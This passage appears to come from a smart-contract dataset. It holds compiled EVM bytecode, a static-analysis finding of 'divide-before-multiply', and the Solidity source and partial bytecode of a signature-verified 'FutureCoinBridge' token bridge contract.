103e565b6040518082815260200191505060405180910390f35b3480156106d257600080fd5b506106db61104c565b6040518082815260200191505060405180910390f35b3480156106fd57600080fd5b5061073c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611052565b604051808215151515815260200191505060405180910390f35b34801561076257600080fd5b50610797600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112e3565b6040518082815260200191505060405180910390f35b3480156107b957600080fd5b506107c261132b565b005b3480156107d057600080fd5b506107d96113e1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561082757600080fd5b50610830611407565b005b34801561083e57600080fd5b506108476114a1565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561088757808201518184015260208101905061086c565b50505050905090810190601f1680156108b45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156108ce57600080fd5b5061090d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506114da565b604051808215151515815260200191505060405180910390f35b34801561093357600080fd5b5061093c6116f9565b6040518082815260200191505060405180910390f35b34801561095e57600080fd5b506109676116ff565b6040518082815260200191505060405180910390f35b34801561098957600080fd5b5061099261170b565b6040518082815260200191505060405180910390f35b3480156109b457600080fd5b506109f3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611719565b604051808215151515815260200191505060405180910390f35b348015610a1957600080fd5b50610a6e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611915565b6040518082815260200191505060405180910390f35b348015610a9057600080fd5b50610ac5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061199c565b005b600080831415610ada5760009050610af9565b8183029050818382811515610aeb57fe5b04141515610af557fe5b8090505b92915050565b60008183811515610b0c57fe5b04905092915050565b60008183019050828110151515610b2857fe5b80905092915050565b6000828211151515610b3f57fe5b818303905092915050565b6040805190810160405280600781526020017f424954434f52450000000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610cbc57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610d0957600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610d9457600080fd5b610de5826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b3190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e78826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b1590919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f4982600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b3190919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b690472698b413b4320000081565b60035481565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611163576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111f7565b6111768382610b3190919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561138757600080fd5b60028081111561139357fe5b600560149054906101000a900460ff1660028111156113ae57fe5b141515156113bb57600080fd5b6001600560146101000a81548160ff021916908360028111156113da57fe5b0217905550565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561146357600080fd5b60028081111561146f57fe5b600560149054906101000a900460ff16600281111561148a57fe5b1415151561149757600080fd5b61149f611af4565b565b6040805190810160405280600781526020017f426974436f72650000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561151757600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561156457600080fd5b6115b5826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b3190919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611648826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b1590919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60045481565b674563918244f4000081565b6903635c9adc5dea00000081565b60006117aa82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b1590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119f857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611a3457600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6002600560146101000a81548160ff02191690836002811115611b1357fe5b021790555060006004541115611bfd57611b98600454600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b1590919063ffffffff16565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015611c7c573d6000803e3d6000fd5b505600a165627a7a72305820bd3bc6992caca0e15d1eab1a2f46cdfe1bcf8e17142108848dab85ca3d36b1350029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 8,053 |
0x38a4abEe7Eb7D095df93F677805F8776709ADD6F
|
/**
*Submitted for verification at Etherscan.io on 2021-09-20
*/
/**
*Submitted for verification at BscScan.com on 2021-09-20
*/
pragma solidity 0.8.4;
// SPDX-License-Identifier: Unlicensed
pragma abicoder v2;
interface IBEP20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library ECDSA {
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
// Check the signature length
if (signature.length != 65) {
revert("ECDSA: invalid signature length");
}
// Divide the signature in r, s and v variables
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solhint-disable-next-line no-inline-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
revert("ECDSA: invalid signature 's' value");
}
if (v != 27 && v != 28) {
revert("ECDSA: invalid signature 'v' value");
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
require(signer != address(0), "ECDSA: invalid signature");
return signer;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* replicates the behavior of the
* https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`]
* JSON-RPC method.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
contract FutureCoinBridge is Ownable {
struct userDetails {
uint amount;
address token;
}
// ECDSA Address
using ECDSA for address;
address public signer;
IBEP20 public token;
address[] public tokenList;
bool public lockStatus;
event SetSigner(address indexed user,address indexed signer);
event Deposit(address indexed user,uint amount,address token,uint time);
event Claim(address indexed user,address token,uint amount,uint time);
event Fallback(address indexed user,uint amount,uint time);
event Failsafe(address indexed user,uint amount,uint time);
mapping(bytes32 => bool)public msgHash;
mapping(address => bool)public isClaim;
mapping(address => userDetails)public users;
mapping(uint => address)public tokenViewById;
constructor (address _signer,address _token) {
signer = _signer;
token = IBEP20(_token);
}
/**
* @dev Throws if lockStatus is true
*/
modifier isLock() {
require(lockStatus == false, "FutureCoin: Contract Locked");
_;
}
/**
* @dev Throws if called by other contract
*/
modifier isContractCheck(address _user) {
require(!isContract(_user), "FutureCoin: Invalid address");
_;
}
function addToken(uint _amount) public onlyOwner {
require(_amount > 0,"Invalid amount");
token.transferFrom(msg.sender,address(this),_amount);
}
function addToken(address[] memory _token) public {
for (uint i = 0; i < _token.length; i++) {
tokenList.push(_token[i]);
tokenViewById[i+1] = _token[i];
}
}
receive()external payable {
emit Fallback(msg.sender,msg.value,block.timestamp);
}
function deposit(uint _amount)public isLock {
require (_amount > 0,"Incorrect params");
token.transferFrom(msg.sender,address(this),_amount);
users[msg.sender].token = address(token);
users[msg.sender].amount = _amount;
emit Deposit(msg.sender,_amount,address(token),block.timestamp);
}
function claim(address _user,uint amount,bytes calldata signature,uint _time) public isLock {
//messageHash can be used only once
bytes32 messageHash = message(_user,amount,_time);
require(!msgHash[messageHash], "claim: signature duplicate");
//Verifes signature
address src = verifySignature(messageHash, signature);
require(signer == src, " claim: unauthorized");
token.transfer(_user,amount);
msgHash[messageHash] = true;
emit Claim(_user,address(token),amount,block.timestamp);
}
/**
* @dev Ethereum Signed Message, created from `hash`
* @dev Returns the address that signed a hashed message (`hash`) with `signature`.
*/
function verifySignature(bytes32 _messageHash, bytes memory _signature) public pure returns (address signatureAddress)
{
bytes32 hash = ECDSA.toEthSignedMessageHash(_messageHash);
signatureAddress = ECDSA.recover(hash, _signature);
}
/**
* @dev Returns hash for given data
*/
function message(address _receiver ,uint amount,uint time)
public pure returns(bytes32 messageHash)
{
messageHash = keccak256(abi.encodePacked(_receiver,amount,time));
}
// updaate signer address
function setSigner(address _signer)public onlyOwner{
signer = _signer;
emit SetSigner(msg.sender, _signer);
}
function failsafe(address user,uint amount)public onlyOwner{
token.transfer(user,amount);
emit Failsafe(user,amount,block.timestamp);
}
function checkBalance()public view returns(uint){
return address(this).balance;
}
/**
* @dev contractLock: For contract status
*/
function contractLock(bool _lockStatus) public onlyOwner returns(bool) {
lockStatus = _lockStatus;
return true;
}
/**
* @dev isContract: Returns true if account is a contract
*/
function isContract(address _account) public view returns(bool) {
uint32 size;
assembly {
size:= extcodesize(_account)
}
if (size != 0)
return true;
return false;
}
}
|
0x6080604052600436106101395760003560e01c80639ead7222116100ab578063daca6f781161006f578063daca6f7814610494578063f2fde38b146104d1578063f832d35c146104fa578063f9a7ea3714610537578063fc0c546a14610574578063ff4f6bfd1461059f57610190565b80639ead722214610388578063a478656b146103c5578063a87430ba14610402578063b6b55f2514610440578063c71daccb1461046957610190565b80636c19e783116100fd5780636c19e7831461027a578063715018a6146102a3578063727eed00146102ba57806379e07744146102f757806387b0b39b146103205780638da5cb5b1461035d57610190565b8063108811661461019557806316279055146101be578063179d375c146101fb578063238ac933146102245780633e89340f1461024f57610190565b36610190573373ffffffffffffffffffffffffffffffffffffffff167f5115e4a7d07906aaa4680b7f5e3c5b1c010378ab8ebfd649f4b6969a641c93263442604051610186929190612282565b60405180910390a2005b600080fd5b3480156101a157600080fd5b506101bc60048036038101906101b79190611b80565b6105c8565b005b3480156101ca57600080fd5b506101e560048036038101906101e09190611a4c565b61072c565b6040516101f29190612011565b60405180910390f35b34801561020757600080fd5b50610222600480360381019061021d9190611c90565b610756565b005b34801561023057600080fd5b506102396108ca565b6040516102469190611f5f565b60405180910390f35b34801561025b57600080fd5b506102646108f0565b6040516102719190612011565b60405180910390f35b34801561028657600080fd5b506102a1600480360381019061029c9190611a4c565b610903565b005b3480156102af57600080fd5b506102b8610a1d565b005b3480156102c657600080fd5b506102e160048036038101906102dc9190611a4c565b610b57565b6040516102ee9190612011565b60405180910390f35b34801561030357600080fd5b5061031e60048036038101906103199190611ab1565b610b77565b005b34801561032c57600080fd5b5061034760048036038101906103429190611b31565b610e78565b604051610354919061202c565b60405180910390f35b34801561036957600080fd5b50610372610eae565b60405161037f9190611f5f565b60405180910390f35b34801561039457600080fd5b506103af60048036038101906103aa9190611c90565b610ed7565b6040516103bc9190611f5f565b60405180910390f35b3480156103d157600080fd5b506103ec60048036038101906103e79190611bc1565b610f16565b6040516103f99190612011565b60405180910390f35b34801561040e57600080fd5b5061042960048036038101906104249190611a4c565b610fb7565b604051610437929190612222565b60405180910390f35b34801561044c57600080fd5b5061046760048036038101906104629190611c90565b610ffb565b005b34801561047557600080fd5b5061047e6112a7565b60405161048b9190612207565b60405180910390f35b3480156104a057600080fd5b506104bb60048036038101906104b69190611c3c565b6112af565b6040516104c89190611f5f565b60405180910390f35b3480156104dd57600080fd5b506104f860048036038101906104f39190611a4c565b6112d0565b005b34801561050657600080fd5b50610521600480360381019061051c9190611c90565b611479565b60405161052e9190611f5f565b60405180910390f35b34801561054357600080fd5b5061055e60048036038101906105599190611c13565b6114ac565b60405161056b9190612011565b60405180910390f35b34801561058057600080fd5b506105896114cc565b604051610596919061208c565b60405180910390f35b3480156105ab57600080fd5b506105c660048036038101906105c19190611a75565b6114f2565b005b60005b815181101561072857600382828151811061060f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101519080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508181815181106106b0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151600860006001846106c99190612349565b815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808061072090612462565b9150506105cb565b5050565b600080823b905060008163ffffffff161461074b576001915050610751565b60009150505b919050565b61075e611672565b73ffffffffffffffffffffffffffffffffffffffff1661077c610eae565b73ffffffffffffffffffffffffffffffffffffffff16146107d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c9906121c7565b60405180910390fd5b60008111610815576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080c90612107565b60405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b815260040161087493929190611f7a565b602060405180830381600087803b15801561088e57600080fd5b505af11580156108a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c69190611bea565b5050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600460009054906101000a900460ff1681565b61090b611672565b73ffffffffffffffffffffffffffffffffffffffff16610929610eae565b73ffffffffffffffffffffffffffffffffffffffff161461097f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610976906121c7565b60405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f3271c8694494a7cc76cd185c743e9ee6b515a043ea98c0db7f5ca112f694add460405160405180910390a350565b610a25611672565b73ffffffffffffffffffffffffffffffffffffffff16610a43610eae565b73ffffffffffffffffffffffffffffffffffffffff1614610a99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a90906121c7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60066020528060005260406000206000915054906101000a900460ff1681565b60001515600460009054906101000a900460ff16151514610bcd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc4906121e7565b60405180910390fd5b6000610bda868684610e78565b90506005600082815260200190815260200160002060009054906101000a900460ff1615610c3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3490612147565b60405180910390fd5b6000610c8d8286868080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050506112af565b90508073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1690612127565b60405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb88886040518363ffffffff1660e01b8152600401610d7c929190611fb1565b602060405180830381600087803b158015610d9657600080fd5b505af1158015610daa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dce9190611bea565b5060016005600084815260200190815260200160002060006101000a81548160ff0219169083151502179055508673ffffffffffffffffffffffffffffffffffffffff167f865ca08d59f5cb456e85cd2f7ef63664ea4f73327414e9d8152c4158b0e94645600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168842604051610e6793929190611fda565b60405180910390a250505050505050565b6000838383604051602001610e8f93929190611efc565b6040516020818303038152906040528051906020012090509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60038181548110610ee757600080fd5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610f20611672565b73ffffffffffffffffffffffffffffffffffffffff16610f3e610eae565b73ffffffffffffffffffffffffffffffffffffffff1614610f94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8b906121c7565b60405180910390fd5b81600460006101000a81548160ff02191690831515021790555060019050919050565b60076020528060005260406000206000915090508060000154908060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905082565b60001515600460009054906101000a900460ff16151514611051576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611048906121e7565b60405180910390fd5b60008111611094576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108b90612187565b60405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b81526004016110f393929190611f7a565b602060405180830381600087803b15801561110d57600080fd5b505af1158015611121573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111459190611bea565b50600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055503373ffffffffffffffffffffffffffffffffffffffff167fd2f8022f659fd9c8c558f30c00fd5ee7038f7cb56da45095c3e0e7d48b3e0c4b82600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff164260405161129c9392919061224b565b60405180910390a250565b600047905090565b6000806112bb8461167a565b90506112c781846116aa565b91505092915050565b6112d8611672565b73ffffffffffffffffffffffffffffffffffffffff166112f6610eae565b73ffffffffffffffffffffffffffffffffffffffff161461134c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611343906121c7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b3906120e7565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60086020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60056020528060005260406000206000915054906101000a900460ff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6114fa611672565b73ffffffffffffffffffffffffffffffffffffffff16611518610eae565b73ffffffffffffffffffffffffffffffffffffffff161461156e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611565906121c7565b60405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b81526004016115cb929190611fb1565b602060405180830381600087803b1580156115e557600080fd5b505af11580156115f9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061161d9190611bea565b508173ffffffffffffffffffffffffffffffffffffffff167f671b67ddc60428229153cc13dff463dc48c091dcee7bcb7d1d6da6617ea6de518242604051611666929190612282565b60405180910390a25050565b600033905090565b60008160405160200161168d9190611f39565b604051602081830303815290604052805190602001209050919050565b600060418251146116f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e7906120c7565b60405180910390fd5b60008060006020850151925060408501519150606085015160001a90507f7fffffffffffffff